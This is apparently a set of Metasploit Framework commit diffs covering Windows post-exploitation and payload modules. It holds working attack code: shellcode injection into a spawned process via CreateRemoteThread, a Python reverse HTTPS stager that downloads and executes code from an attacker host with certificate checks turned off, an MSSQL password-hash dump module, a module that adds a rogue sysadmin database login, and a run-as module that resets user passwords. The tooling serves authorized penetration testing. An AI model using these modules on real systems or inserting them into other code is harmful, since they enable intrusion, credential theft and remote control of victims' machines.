APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine
respectively. See the MSDN documentation for how these two values interact.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499', 'Ben Campbell'],
'Targets' => [
[ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ]
],
'DisclosureDate' => 'Jan 01 1999' # Not valid but required by msftidy
))
register_options(
[
OptString.new('DOMAIN', [false, 'Domain to login with' ]),
OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]),
OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]),
OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ])
], self.class)
end
def exploit
fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter'
fail_with(Exploit::Failure::NoAccess, 'Cannot use this technique as SYSTEM') if is_system?
domain = datastore['DOMAIN']
user = datastore['USER']
password = datastore['PASSWORD']
if datastore['USE_CUSTOM_COMMAND']
application_name = datastore['APPLICATION_NAME']
command_line = datastore['COMMAND_LINE']
else
command_line = nil
windir = get_env('windir')
# Select path of executable to run depending the architecture
case sysinfo['Architecture']
when /x86/i
application_name = "#{windir}\\System32\\notepad.exe"
when /x64/i
application_name = "#{windir}\\SysWOW64\\notepad.exe"
end
end
pi = create_process_with_logon(domain,
user,
password,
application_name,
command_line)
return unless pi
begin
return if datastore['USE_CUSTOM_COMMAND']
vprint_status('Injecting payload into target process')
raw = payload.encoded
process_handle = pi[:process_handle]
virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
nil,
raw.length,
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')
address = virtual_alloc['return']
fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle,
address,
raw,
raw.length,
4)
fail_with(Exploit::Failure::Unknown,
"Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
nil,
0,
address,
nil,
0,
4)
if create_remote_thread['return'] == 0
print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
else
print_good("Started thread in target process")
end
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
end
end

View File

@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
end
print_status("#{peer} - Exploiting through Powershell...")
exec_bar(datastore['CMDPATH'], command, "\x00")

View File

@ -8,6 +8,7 @@ require 'msf/core/handler/reverse_https'
require 'msf/core/payload/windows/stageless_meterpreter'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
require 'rex/parser/x509_certificate'
module Metasploit3
@ -15,6 +16,7 @@ module Metasploit3
include Msf::Payload::Windows::StagelessMeterpreter
include Msf::Sessions::MeterpreterOptions
include Msf::Payload::Windows::VerifySsl
def initialize(info = {})
@ -30,7 +32,7 @@ module Metasploit3
))
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class)
end
@ -54,9 +56,13 @@ module Metasploit3
# end
#end
Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll,
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url,
:ssl => true,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ua => datastore['MeterpreterUserAgent'],
@ -64,8 +70,9 @@ module Metasploit3
:proxyport => datastore['PROXYPORT'],
:proxy_type => datastore['PROXY_TYPE'],
:proxy_username => datastore['PROXY_USERNAME'],
:proxy_password => datastore['PROXY_PASSWORD']
:proxy_password => datastore['PROXY_PASSWORD'])
end
end
end

View File

@ -0,0 +1,126 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
module Metasploit3
CachedSize = 742
include Msf::Payload::Stager
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTP using SSL',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
], self.class)
end
#
# Constructs the payload
#
def generate
lhost = datastore['LHOST'] || '127.127.127.127'
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
if Rex::Socket.is_ipv6?(lhost)
target_url = "https://[#{lhost}]"
else
target_url = "https://#{lhost}"
end
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
if proxy_host == ''
urllib_fromlist = "['HTTPSHandler','build_opener']"
else
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
end
cmd = "import sys\n"
cmd << "vi=sys.version_info\n"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
cmd << "hs=[]\n"
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
cmd << "\timport ssl\n"
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
cmd << "\tsc.check_hostname=False\n"
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
if proxy_host != ''
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o=ul.build_opener(*hs)\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
#
# Return the longest URL that fits into our available space
#
def generate_callback_uri
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
end
end

View File

@ -0,0 +1,180 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
require 'msf/core/post/windows/mssql'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::MSSQL
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Local SQL Server Hash Dump',
'Description' => %q{ This module extracts the usernames and password
hashes from a MSSQL server and stores them in the loot using the
same technique in mssql_local_auth_bypass (Credits: Scott Sutherland)
},
'License' => MSF_LICENSE,
'Author' => [ 'Mike Manzotti <mike.manzotti[at]dionach.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
]
))
register_options(
[
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
], self.class)
end
def run
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges
system_status = get_system
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
begin
get_sql_hash(instance_name)
rescue RuntimeError
# Attempt to impersonate sql server service account (for sql server 2012)
if impersonate_sql_user(service)
get_sql_hash(instance_name)
end
end
ensure
# return to original priv context
session.sys.config.revert_to_self
end
end
def get_sql_version(instance_name)
vprint_status("Attempting to get version...")
query = mssql_sql_info
get_version_result = run_sql(query, instance_name)
# Parse Data
get_version_array = get_version_result.split("\n")
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
if version_year
vprint_status("MSSQL version found: #{version_year}")
return version_year
else
vprint_error("MSSQL version not found")
end
end
def get_sql_hash(instance_name)
version_year = get_sql_version(instance_name)
case version_year
when "2000"
hash_type = "mssql"
query = mssql_2k_password_hashes
when "2005", "2008"
hash_type = "mssql05"
query = mssql_2k5_password_hashes
when "2012", "2014"
hash_type = "mssql12"
query = mssql_2k5_password_hashes
else
fail_with(Exploit::Failure::Unknown, "Unable to determine MSSQL Version")
end
print_status("Attempting to get password hashes...")
get_hash_result = run_sql(query, instance_name)
if get_hash_result.include?('0x')
# Parse Data
hash_array = get_hash_result.split("\r\n").grep(/0x/)
store_hashes(hash_array, hash_type)
else
fail_with(Exploit::Failure::Unknown, "Unable to retrieve hashes")
end
end
def store_hashes(hash_array, hash_type)
# Save data
loot_hashes = ""
hash_array.each do |row|
user, hash = row.strip.split
service_data = {
address: rhost,
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Initialize Metasploit::Credential::Core object
credential_data = {
post_reference_name: refname,
origin_type: :session,
private_type: :nonreplayable_hash,
private_data: hash,
username: user,
session_id: session_db_id,
jtr_format: hash_type,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
print_line("#{user}:#{hash}")
loot_hashes << "#{user}:#{hash}\n"
end
unless loot_hashes.empty?
# Store MSSQL password hash as loot
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
print_good("MSSQL password hash saved in: #{loot_path}")
return true
else
return false
end
end
end

View File

@ -5,10 +5,12 @@
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/mssql'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::MSSQL
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
@ -35,440 +37,114 @@ class Metasploit3 < Msf::Post
[
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']),
OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false'])
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
], self.class)
end
def run
# Set verbosity level
verbose = datastore['VERBOSE'].to_s.downcase
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s.upcase
instance = datastore['INSTANCE'].to_s
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges
system_status = givemesystem
if system_status[0]
system_status = get_system
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
# Check if a SQL Server service is running
service_instance = check_for_sqlserver(instance)
if service_instance != 0
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
# Identify available native SQL client
sql_client = get_sql_client()
if sql_client != 0
# Check if remove_login was selected
if datastore['REMOVE_LOGIN'].to_s.downcase == "false"
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
else
if add_login_status != "userexists" then
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
end
end
end
end
else
# Remove login
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
if remove_status == 0
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Remove login
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
end
end
end
end
if datastore['REMOVE_LOGIN']
remove_login(service, instance_name)
else
add_login(service, instance_name)
end
else
print_error("Could not obtain LocalSystem privileges")
ensure
# attempt to return to original priv context
session.sys.config.revert_to_self
end
# return to original priv context
session.sys.config.revert_to_self
end
def add_login(service, instance_name)
begin
add_login_status = add_sql_login(datastore['DB_USERNAME'],
datastore['DB_PASSWORD'],
instance_name)
## ----------------------------------------------
## Method to check if the SQL Server service is running
## ----------------------------------------------
def check_for_sqlserver(instance)
unless add_login_status
raise RuntimeError, "Retry"
end
rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
else
raise $!
end
end
end
print_status("Checking for SQL Server...")
def remove_login(service, instance_name)
begin
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
unless remove_status
raise RuntimeError, "Retry"
end
rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
else
raise $!
end
end
end
def add_sql_login(dbuser, dbpass, instance)
print_status("Attempting to add new login \"#{dbuser}\"...")
query = mssql_sa_escalation(username: dbuser, password: dbpass)
# Get Data
running_services = run_cmd("net start")
add_login_result = run_sql(query, instance)
# Parse Data
services_array = running_services.split("\n")
# Check for the SQL Server service
services_array.each do |service|
if instance == "" then
# Target default instance
if service =~ /SQL Server \(| MSSQLSERVER/ then
# Display results
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
print_good("SQL Server instance found: #{service_instance}")
return service_instance
end
else
# Target user defined instance
if service =~ /#{instance}/ then
# Display user defined instance
print_good("SQL Server instance found: #{instance}")
return instance
end
end
end
# Fail
if instance == "" then
print_error("SQL Server instance NOT found")
else
print_error("SQL Server instance \"#{instance}\" was NOT found")
end
return 0
end
## ----------------------------------------------
## Method for identifying which SQL client to use
## ----------------------------------------------
def get_sql_client
print_status("Checking for native client...")
# Get Data - osql
running_services1 = run_cmd("osql -?")
# Parse Data - osql
services_array1 = running_services1.split("\n")
# Check for osql
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
print_good("OSQL client was found")
return "osql"
end
# Get Data - sqlcmd
running_services = run_cmd("sqlcmd -?")
# Parse Data - sqlcmd
services_array = running_services.split("\n")
# Check for SQLCMD
services_array.each do |service|
if service =~ /SQL Server Command Line Tool/ then
print_good("SQLCMD client was found")
return "sqlcmd"
end
end
# Fail
print_error("No native SQL client was found")
return 0
end
## ----------------------------------------------
## Method for adding a login
## ----------------------------------------------
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to add new login #{dbuser}...")
# Setup command format to accomidate version inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
else
# User defined instance
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
else
# User defined instance
print_status(" o defined instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_login_result = run_cmd("#{sqlcommand}")
# Parse Data
add_login_array = add_login_result.split("\n")
# Check if user exists
add_login_array.each do |service|
if service =~ /already exists/ then
print_error("Unable to add login #{dbuser}, user already exists")
return "userexists"
end
end
# check for success/fail
if add_login_result.empty? or add_login_result =~ /New login created./
case add_login_result
when '', /new login created/i
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
return 1
return true
when /already exists/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
when /password validation failed/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
else
print_error("Unable to add login #{dbuser}")
print_error("Database Error:\n #{add_login_result}")
return 0
return false
end
end
## ----------------------------------------------
## Method for adding a login to sysadmin role
## ----------------------------------------------
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to make #{dbuser} login a sysadmin...")
# Setup command format to accomidate command inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
begin select 'bingo' end \""
end
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_sysadmin_result = run_cmd("#{sqlcommand}")
# Parse Data
add_sysadmin_array = add_sysadmin_result.split("\n")
# Check for success
check = 0
add_sysadmin_array.each do |service|
if service =~ /bingo/ then
check = 1
end
end
# Display results to user
if check == 1
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
return 1
else
# Fail
print_error("Unabled to add #{dbuser} to sysadmin role")
print_error("Database Error:\n\n #{add_sysadmin_result}")
return 0
end
end
## ----------------------------------------------
## Method for removing login
## ----------------------------------------------
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
def remove_sql_login(dbuser, instance_name)
print_status("Attempting to remove login \"#{dbuser}\"")
query = "sp_droplogin '#{dbuser}'"
# Setup command format to accomidate command inconsistencies
if instance == ""
# Check default instance name
if service_instance == "SQLEXPRESS" then
# Set command here for SQLEXPRESS
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
end
else
# Set command here
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
end
# Display debugging information
print_status("Settings:") if verbose == "true"
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
print_status(" o User: #{dbuser}") if verbose == "true"
print_status(" o Service instance: #{service_instance}") if verbose == "true"
print_status(" o User defined instance: #{instance}") if verbose == "true"
print_status("Command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
remove_login_result = run_cmd("#{sqlcommand}")
# Parse Data
remove_login_array = remove_login_result.split("\n")
# Check for success
check = 0
remove_login_array.each do |service|
if service =~ // then
check = 1
end
end
remove_login_result = run_sql(query, instance_name)
# Display result
if check == 0
if remove_login_result.empty?
print_good("Successfully removed login \"#{dbuser}\"")
return 1
return true
else
# Fail
print_error("Unabled to remove login #{dbuser}")
print_error("Database Error:\n\n #{remove_login_result}")
return 0
return false
end
end
## ----------------------------------------------
## Method for executing cmd and returning the response
##
## Note: This is from one of Jabra's modules - Thanks man!
## Note: This craps out when escalating from local admin to system
## I assume it has something to do with the token, but don't
## really know.
##----------------------------------------------
def run_cmd(cmd,token=true)
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
process = session.sys.process.execute(cmd, nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
return res
end
## ----------------------------------------------
## Method for impersonating sql server instance
## ----------------------------------------------
def impersonate_sql_user(service_instance,verbose)
# Print the current user
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
# Define target user/pid
targetuser = ""
targetpid = ""
# Identify SQL Server service processes
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
session.sys.process.get_processes().each do |x|
# Search for all sqlservr.exe processes
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
# Found one
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
# Define target pid / user
if x['user'] =~ /NT SERVICE/ then
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
targetpid = x['pid']
end
else
targetuser = x['user']
targetpid = x['pid']
end
end
end
# Attempt to migrate to target sqlservr.exe process
if targetuser == "" then
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
return 0
else
begin
# Migrating works, but I can't rev2self after its complete
print_status("Attempting to migrate to process #{targetpid}...")
session.core.migrate(targetpid.to_i)
# Statusing
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
return 1
rescue
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
return 0
end
end
end
## ----------------------------------------------
## Method to become SYSTEM if required
## Note: This is from one of Jabra's modules.
## ----------------------------------------------
def givemesystem
# Statusing
print_status("Checking if user is SYSTEM...")
# Check if user is system
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
print_good("User is SYSTEM")
return 1
else
# Attempt to get LocalSystem privileges
print_error("User is NOT SYSTEM")
print_status("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status[0]
print_good("Success!, user is now SYSTEM")
return 1
else
print_error("Unable to obtained SYSTEM privileges")
return 0
end
end
end
end

View File

@ -9,17 +9,18 @@ require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Runas
def initialize(info={})
def initialize(info = {})
super(update_info(info,
'Name' => "Windows Manage Run Command As User",
'Description' => %q{
'Description' => %q(
This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default, by setting
CMDOUT to false output will be redirected to a temp file and read back in to
display.By setting advanced option SETPASS to true, it will reset the users
password and then execute the command.
},
),
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
@ -28,15 +29,16 @@ class Metasploit3 < Msf::Post
register_options(
[
OptString.new('USER', [true, 'Username to reset/login with' ]),
OptString.new('PASS', [true, 'Password to use' ]),
OptString.new('DOMAIN', [true, 'Domain to login with' ]),
OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
OptString.new('CMD', [true, 'Command to execute' ]),
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]),
OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
], self.class)
register_advanced_options(
[
OptBool.new('SETPASS', [false, 'Reset password', false])
OptBool.new('SETPASS', [true, 'Reset password', false])
], self.class)
end
@ -44,130 +46,83 @@ class Metasploit3 < Msf::Post
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
# need to migrate to a process that is running as
# system. If you don't have privs, this exits script.
def priv_check
if is_system?
privs = session.sys.config.getprivs
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
@isadmin = false
return true
else
return false
end
elsif is_admin?
@isadmin = true
return true
else
return false
return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege")
end
false
end
def reset_pass(user,pass)
def reset_pass(user, password)
begin
tmpout = ""
cmd = "cmd.exe /c net user " + user + " " + pass
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
tmpout << d
break if d == ""
end
r.channel.close
return true if tmpout.include?("successfully")
return false
tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
return tmpout.include?("successfully")
rescue
return false
end
end
def run
# set some instance vars
@IsAdmin = false
@host_info = session.sys.config.sysinfo
def touch(path)
write_file(path, "")
cmd_exec("icacls #{path} /grant Everyone:(F)")
end
def run
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if session.type != "meterpreter"
return unless session.type == "meterpreter"
pi = nil
# check/set vars
setpass = datastore["SETPASS"]
cmdout = datastore["CMDOUT"]
user = datastore["USER"] || nil
pass = datastore["PASS"] || nil
password = datastore["PASSWORD"] || nil
cmd = datastore["CMD"] || nil
rg_adv = session.railgun.advapi32
domain = datastore['DOMAIN']
# reset user pass if setpass is true
if datastore["SETPASS"]
if setpass
print_status("Setting user password")
if !reset_pass(user,pass)
print_error("Error resetting password")
return 0
end
fail_with(Exploit::Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
end
# set profile paths
sysdrive = session.sys.config.getenv('SYSTEMDRIVE')
os = @host_info['OS']
profiles_path = sysdrive + "\\Documents and Settings\\"
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
path = profiles_path + user + "\\"
outpath = path + "out.txt"
system_temp = get_env('WINDIR') << '\\Temp'
outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
# this is start info struct for a hidden process last two params are std out and in.
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
# Create output file and set permissions so everyone can access
touch(outpath)
#set command string based on cmdout vars
cmdstr = "cmd.exe /c #{cmd}"
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
# Check privs and execute the correct commands
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
# execute command and get output with a poor mans pipe
# Check privs and execute the correct commands
# if user use createprocesswithlogon, if system logonuser and createprocessasuser
# execute command and get output with a poor mans pipe
if priv_check
if @isadmin #local admin
print_status("Executing CreateProcessWithLogonW...we are Admin")
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
else #system with correct token privs enabled
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE",
"LOGON32_PROVIDER_DEFAULT", 4)
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false,
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16)
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
pi = create_process_as_user(domain, user, password, nil, cmdstr)
if pi
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
else
print_error("Insufficient Privileges, either you are not Admin or system or you elevated")
print_error("privs to system and do not have sufficient privileges. If you elevated to")
print_error("system, migrate to a process that was started as system (srvhost.exe)")
return 0
